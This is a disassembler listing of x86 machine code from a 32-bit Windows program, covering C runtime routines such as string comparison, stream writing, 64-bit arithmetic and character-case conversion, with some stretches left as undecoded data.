var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call near ptr 27B015Fh
nop
lea eax, [ebp+var_20]
push eax
nop
call near ptr 28C0000h
mov ax, [ebp+var_16]
cmp ax, word_4DB9C2
jnz short loc_41D0E6
mov ax, [ebp+var_18]
cmp ax, word_4DB9C0
jnz short loc_41D0E6
mov ax, [ebp+var_1A]
cmp ax, word_4DB9BE
jnz short loc_41D0E6
mov ax, [ebp+var_1E]
cmp ax, word_4DB9BA
jnz short loc_41D0E6
mov ax, [ebp+var_20]
cmp ax, word_4DB9B8
jnz short loc_41D0E6
mov eax, dword_4DB9B0
jmp short loc_41D12B
; ---------------------------------------------------------------------------
loc_41D0E6: ; CODE XREF: sub_41D081+28j
; sub_41D081+35j ...
lea eax, [ebp+var_CC]
push eax
nop
call near ptr 28B0000h
cmp eax, 0FFFFFFFFh
jz short loc_41D113
cmp eax, 2
jnz short loc_41D10F
cmp [ebp+var_32], 0
jz short loc_41D10F
cmp [ebp+var_24], 0
jz short loc_41D10F
push 1
pop eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D10F: ; CODE XREF: sub_41D081+7Aj
; sub_41D081+81j ...
xor eax, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D113: ; CODE XREF: sub_41D081+75j
or eax, 0FFFFFFFFh
loc_41D116: ; CODE XREF: sub_41D081+8Cj
; sub_41D081+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4DB9B8
movsd
movsd
movsd
movsd
pop edi
mov dword_4DB9B0, eax
pop esi
loc_41D12B: ; CODE XREF: sub_41D081+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_422669
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D15B
mov [ecx], eax
locret_41D15B: ; CODE XREF: sub_41D081+D6j
leave
retn
sub_41D081 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D160 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DBA0C
cmp dword ptr [eax+8], 0
jnz short loc_41D1B3
mov al, 0FFh
mov edi, edi
loc_41D17C: ; CODE XREF: sub_41D160+28j
; sub_41D160+48j
or al, al
jz short loc_41D1AE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D17C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D17C
sbb al, al
sbb al, 0FFh
loc_41D1AE: ; CODE XREF: sub_41D160+1Ej
movsx eax, al
jmp short loc_41D1E7
; ---------------------------------------------------------------------------
loc_41D1B3: ; CODE XREF: sub_41D160+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D1BC: ; CODE XREF: sub_41D160+68j
; sub_41D160+80j
or al, al
jz short loc_41D1E7
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D1BC
push eax
push ebx
call sub_41D74C
mov ebx, eax
add esp, 4
call sub_41D74C
add esp, 4
cmp bl, al
jz short loc_41D1BC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D1E7: ; CODE XREF: sub_41D160+51j
; sub_41D160+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D160 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41D268
mov edi, [esp+14h]
test edi, edi
jz short loc_41D20B
cmp edi, 1
jz short loc_41D20B
cmp edi, 2
jnz short loc_41D268
loc_41D20B: ; CODE XREF: ___:0041D1FFj
; ___:0041D204j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D222
push esi
call sub_4227C5
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41D222: ; CODE XREF: ___:0041D213j
push esi
call sub_41DB8B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D237
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D24B
; ---------------------------------------------------------------------------
loc_41D237: ; CODE XREF: ___:0041D22Ej
test al, 1
jz short loc_41D24B
test al, 8
jz short loc_41D24B
test ah, 4
jnz short loc_41D24B
mov dword ptr [esi+18h], 200h
loc_41D24B: ; CODE XREF: ___:0041D235j
; ___:0041D239j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_42272B
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41D275
; ---------------------------------------------------------------------------
loc_41D268: ; CODE XREF: ___:0041D1F7j
; ___:0041D209j
mov dword_4DB958, 16h
or eax, 0FFFFFFFFh
loc_41D275: ; CODE XREF: ___:0041D266j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D280 proc near ; CODE XREF: sub_412B09+19Ep
; sub_41386C+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41D299
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41D299: ; CODE XREF: sub_41D280+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41D280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2B4 proc near ; CODE XREF: ___:004162E4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41D2D8
xor eax, eax
jmp loc_41D3A5
; ---------------------------------------------------------------------------
loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41D2EB
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41D2F2
; ---------------------------------------------------------------------------
loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj
mov [ebp+arg_C], 1000h
loc_41D2F2: ; CODE XREF: sub_41D2B4+35j
; sub_41D2B4+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41D326
mov eax, [esi+4]
test eax, eax
jz short loc_41D326
cmp ebx, eax
mov edi, ebx
jb short loc_41D30C
mov edi, eax
loc_41D30C: ; CODE XREF: sub_41D2B4+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41C310
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41D36C
; ---------------------------------------------------------------------------
loc_41D326: ; CODE XREF: sub_41D2B4+47j
; sub_41D2B4+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41D371
test ecx, ecx
jz short loc_41D33A
push esi
call sub_41DB8B
test eax, eax
pop ecx
jnz short loc_41D3B3
loc_41D33A: ; CODE XREF: sub_41D2B4+79j
cmp [ebp+arg_C], 0
jz short loc_41D34D
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41D34F
; ---------------------------------------------------------------------------
loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj
mov edi, ebx
loc_41D34F: ; CODE XREF: sub_41D2B4+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41D3AA
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41D3AA
loc_41D36C: ; CODE XREF: sub_41D2B4+70j
mov edi, [ebp+var_4]
jmp short loc_41D39A
; ---------------------------------------------------------------------------
loc_41D371: ; CODE XREF: sub_41D2B4+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41F58A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D3B3
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41D39A
mov [ebp+arg_C], 1
loc_41D39A: ; CODE XREF: sub_41D2B4+BBj
; sub_41D2B4+DDj
test ebx, ebx
jnz loc_41D2F2
mov eax, [ebp+arg_8]
loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj
; sub_41D2B4+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj
; sub_41D2B4+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41D3B5
; ---------------------------------------------------------------------------
loc_41D3B3: ; CODE XREF: sub_41D2B4+84j
; sub_41D2B4+CFj
mov eax, edi
loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41D3A5
sub_41D2B4 endp
; =============== S U B R O U T I N E =======================================
sub_41D3BE proc near ; CODE XREF: sub_416909+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call near ptr 26B0D2Fh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41D3DE
call near ptr 26B0857h
nop
push eax
call sub_4203DF
pop ecx
loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj
test al, 1
jz short loc_41D3FF
test [esp+arg_4], 2
jz short loc_41D3FF
mov dword_4DB958, 0Dh
mov dword_4DB95C, 5
jmp short loc_41D3DA
; ---------------------------------------------------------------------------
loc_41D3FF: ; CODE XREF: sub_41D3BE+22j
; sub_41D3BE+29j
xor eax, eax
retn
sub_41D3BE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D410 proc near ; CODE XREF: sub_416923+3Fp
; sub_41A98D+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41D432
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D473
; ---------------------------------------------------------------------------
loc_41D432: ; CODE XREF: sub_41D410+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41D440: ; CODE XREF: sub_41D410+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D440
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41D46E
cmp edx, [esp+8+arg_4]
ja short loc_41D46E
jb short loc_41D46F
cmp eax, [esp+8+arg_0]
jbe short loc_41D46F
loc_41D46E: ; CODE XREF: sub_41D410+4Ej
; sub_41D410+54j
dec esi
loc_41D46F: ; CODE XREF: sub_41D410+56j
; sub_41D410+5Cj
xor edx, edx
mov eax, esi
loc_41D473: ; CODE XREF: sub_41D410+20j
pop esi
pop ebx
retn 10h
sub_41D410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D480 proc near ; CODE XREF: sub_416923+2Dp
; sub_41A98D+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41D4A1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41D4F1
; ---------------------------------------------------------------------------
loc_41D4A1: ; CODE XREF: sub_41D480+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41D4AF: ; CODE XREF: sub_41D480+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D4AF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41D4DA
cmp edx, [esp+4+arg_4]
ja short loc_41D4DA
jb short loc_41D4E2
cmp eax, [esp+4+arg_0]
jbe short loc_41D4E2
loc_41D4DA: ; CODE XREF: sub_41D480+4Aj
; sub_41D480+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41D4E2: ; CODE XREF: sub_41D480+52j
; sub_41D480+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41D4F1: ; CODE XREF: sub_41D480+1Fj
pop ebx
retn 10h
sub_41D480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D500 proc near ; CODE XREF: sub_416A33+5Fp
; sub_416A33+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41D521
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41D521: ; CODE XREF: sub_41D500+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41D53D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41D53D: ; CODE XREF: sub_41D500+27j
or eax, eax
jnz short loc_41D559
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D59A
; ---------------------------------------------------------------------------
loc_41D559: ; CODE XREF: sub_41D500+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41D567: ; CODE XREF: sub_41D500+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41D567
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41D595
cmp edx, [esp+0Ch+arg_4]
ja short loc_41D595
jb short loc_41D596
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41D596
loc_41D595: ; CODE XREF: sub_41D500+85j
; sub_41D500+8Bj
dec esi
loc_41D596: ; CODE XREF: sub_41D500+8Dj
; sub_41D500+93j
xor edx, edx
mov eax, esi
loc_41D59A: ; CODE XREF: sub_41D500+57j
dec edi
jnz short loc_41D5A4
neg edx
neg eax
sbb edx, 0
loc_41D5A4: ; CODE XREF: sub_41D500+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41D500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D5AA proc near ; CODE XREF: sub_4170ED+BFp
; sub_4170ED+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DBA14
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41D5DE
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41D645
loc_41D5C6: ; CODE XREF: sub_41D5AA+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41D5D7
cmp cl, 7Ah
jg short loc_41D5D7
sub cl, 20h
mov [edx], cl
loc_41D5D7: ; CODE XREF: sub_41D5AA+21j
; sub_41D5AA+26j
inc edx
cmp [edx], bl
jnz short loc_41D5C6
jmp short loc_41D645
; ---------------------------------------------------------------------------
loc_41D5DE: ; CODE XREF: sub_41D5AA+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_422ACA
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41D637
push edi
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41D637
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DBA14
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D637
push [ebp+var_4]
push [ebp+arg_0]
call sub_41BEB0
pop ecx
pop ecx
loc_41D637: ; CODE XREF: sub_41D5AA+53j
; sub_41D5AA+61j ...
push [ebp+var_4]
call sub_41B0B1
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41D645: ; CODE XREF: sub_41D5AA+1Aj
; sub_41D5AA+32j
pop ebx
leave
retn
sub_41D5AA endp
; =============== S U B R O U T I N E =======================================
sub_41D648 proc near ; CODE XREF: sub_417ADE+1A8p
arg_0 = dword ptr 4
cmp dword_43CBE4, 1
jle short loc_41D65F
push 4
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D65F: ; CODE XREF: sub_41D648+7j
mov eax, [esp+arg_0]
mov ecx, off_43C9D8
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41D648 endp
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_420510+76p
; sub_420510+88p ...
arg_0 = dword ptr 4
cmp dword_43CBE4, 1
jle short loc_41D687
push 8
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D687: ; CODE XREF: sub_41D670+7j
mov eax, [esp+arg_0]
mov ecx, off_43C9D8
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+0Ch]
test eax, eax
jz short locret_41D6EC
mov edx, [esp+4]
push esi
push edi
mov esi, edx
mov edi, [esp+10h]
or edx, edi
and edx, 3
jz short loc_41D6ED
test eax, 1
jz short loc_41D6CD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41D71A
inc esi
inc edi
dec eax
jz short loc_41D6EA
loc_41D6CD: ; CODE XREF: ___:0041D6C0j
; ___:0041D6E8j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41D71A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41D71A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41D6CD
loc_41D6EA: ; CODE XREF: ___:0041D6CBj
; ___:0041D724j
pop edi
pop esi
locret_41D6EC: ; CODE XREF: ___:0041D6A6j
retn
; ---------------------------------------------------------------------------
loc_41D6ED: ; CODE XREF: ___:0041D6B9j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41D722
repe cmpsd
jz short loc_41D722
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
jnz short loc_41D715
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
loc_41D715: ; CODE XREF: ___:0041D703j
; ___:0041D707j ...
mov eax, 0
loc_41D71A: ; CODE XREF: ___:0041D6C6j
; ___:0041D6D3j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D722: ; CODE XREF: ___:0041D6F5j
; ___:0041D6F9j
test eax, eax
jz short loc_41D6EA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41D715
dec eax
jz short loc_41D749
cmp dh, ch
jnz short loc_41D715
dec eax
jz short loc_41D749
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41D715
dec eax
loc_41D749: ; CODE XREF: ___:0041D72Fj
; ___:0041D736j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D74C proc near ; CODE XREF: sub_418069+6p
; sub_418087+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBA14, 0
push ebx
push esi
push edi
jnz short loc_41D779
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41D812
cmp eax, 5Ah
jg loc_41D812
add eax, 20h
jmp loc_41D812
; ---------------------------------------------------------------------------
loc_41D779: ; CODE XREF: sub_41D74C+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41D7AD
cmp dword_43CBE4, esi
jle short loc_41D79B
push esi
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_41D7A5
; ---------------------------------------------------------------------------
loc_41D79B: ; CODE XREF: sub_41D74C+42j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, esi
loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj
test eax, eax
jnz short loc_41D7AD
loc_41D7A9: ; CODE XREF: sub_41D74C+ADj
mov eax, ebx
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj
; sub_41D74C+5Bj
mov edx, off_43C9D8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D7D1
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41D7DA
; ---------------------------------------------------------------------------
loc_41D7D1: ; CODE XREF: sub_41D74C+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41D7DA: ; CODE XREF: sub_41D74C+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DBA14
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D7A9
cmp eax, esi
jnz short loc_41D805
movzx eax, [ebp+var_4]
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D805: ; CODE XREF: sub_41D74C+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41D812: ; CODE XREF: sub_41D74C+16j
; sub_41D74C+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D74C endp
; =============== S U B R O U T I N E =======================================
sub_41D817 proc near ; CODE XREF: sub_4185A5+ADp
; sub_419594+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41D82E
loc_41D824: ; CODE XREF: sub_41D817+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41D824
loc_41D82E: ; CODE XREF: sub_41D817+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41D817 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D834 proc near ; CODE XREF: sub_4185A5+7Fp
; sub_4185A5+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41D901
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41D92E
cmp dword_4DBA14, esi
jnz short loc_41D885
cmp edi, esi
jbe loc_41D92E
loc_41D864: ; CODE XREF: sub_41D834+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41D92E
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41D864
jmp loc_41D92E
; ---------------------------------------------------------------------------
loc_41D885: ; CODE XREF: sub_41D834+26j
mov ebx, [ebp+arg_4]
mov esi, dword_427180
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DBA24
call esi
test eax, eax
jnz loc_41D92D
nop
call near ptr 26B0857h
cmp eax, 7Ah
jz short loc_41D8BF
loc_41D8B0: ; CODE XREF: sub_41D834+CBj
; sub_41D834+F7j
mov dword_4DB958, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D8BF: ; CODE XREF: sub_41D834+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41D8C7: ; CODE XREF: sub_41D834+B3j
mov cl, [eax]
test cl, cl
jz short loc_41D8E9
mov edx, off_43C9D8
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D8DE
inc eax
loc_41D8DE: ; CODE XREF: sub_41D834+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41D8C7
loc_41D8E9: ; CODE XREF: sub_41D834+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DBA24
call esi
test eax, eax
jnz short loc_41D92E
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D901: ; CODE XREF: sub_41D834+Fj
cmp dword_4DBA14, esi
jnz short loc_41D914
push [ebp+arg_4]
call sub_41AFE0
pop ecx
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D914: ; CODE XREF: sub_41D834+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DBA24
nop
call near ptr 2860000h
cmp eax, esi
jz short loc_41D8B0
loc_41D92D: ; CODE XREF: sub_41D834+6Bj
dec eax
loc_41D92E: ; CODE XREF: sub_41D834+1Aj
; sub_41D834+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D834 endp
; ---------------------------------------------------------------------------
db 4Eh
dd 0F6D50A81h, 0DC4BF756h, 0D0C71332h, 0A1647FB3h, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 42C5E8E8h, 3390024Bh, 89D48AD2h
dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h
dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh
dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 5BE8FC75h, 90000059h, 4B422FE8h, 0CFECA302h, 19E8004Dh
dd 0A3000058h, 4DB9C8h, 55C2E8h, 5504E800h, 0B9E80000h
dd 89FFFFDDh, 458DD075h, 0E89050A4h, 24B2628h, 5495E8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 50E89056h, 50022934h, 0FE3820E8h, 0A04589FFh
dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h
dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41DA29 proc near ; CODE XREF: sub_41D052+16p
; ___:00422F18p ...
arg_0 = dword ptr 4
cmp dword_4DB9D0, 1
jnz short loc_41DA37
call sub_423590
loc_41DA37: ; CODE XREF: sub_41DA29+7j
push [esp+arg_0]
call sub_4235C9
push 0FFh
call off_43A9A0
pop ecx
pop ecx
retn
sub_41DA29 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4DB9D0
dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h
dd 0A58244E8h
db 77h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap
; sub_423A33+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DCDA0
jnb loc_41DB0C
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DCCA0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41DB0C
push edi
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DAEB
cmp edi, 1
jz short loc_41DAB9
cmp edi, 2
jnz short loc_41DACF
loc_41DAB9: ; CODE XREF: sub_41DA72+40j
push 2
call sub_4238A2
push 1
mov ebp, eax
call sub_4238A2
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41DAEB
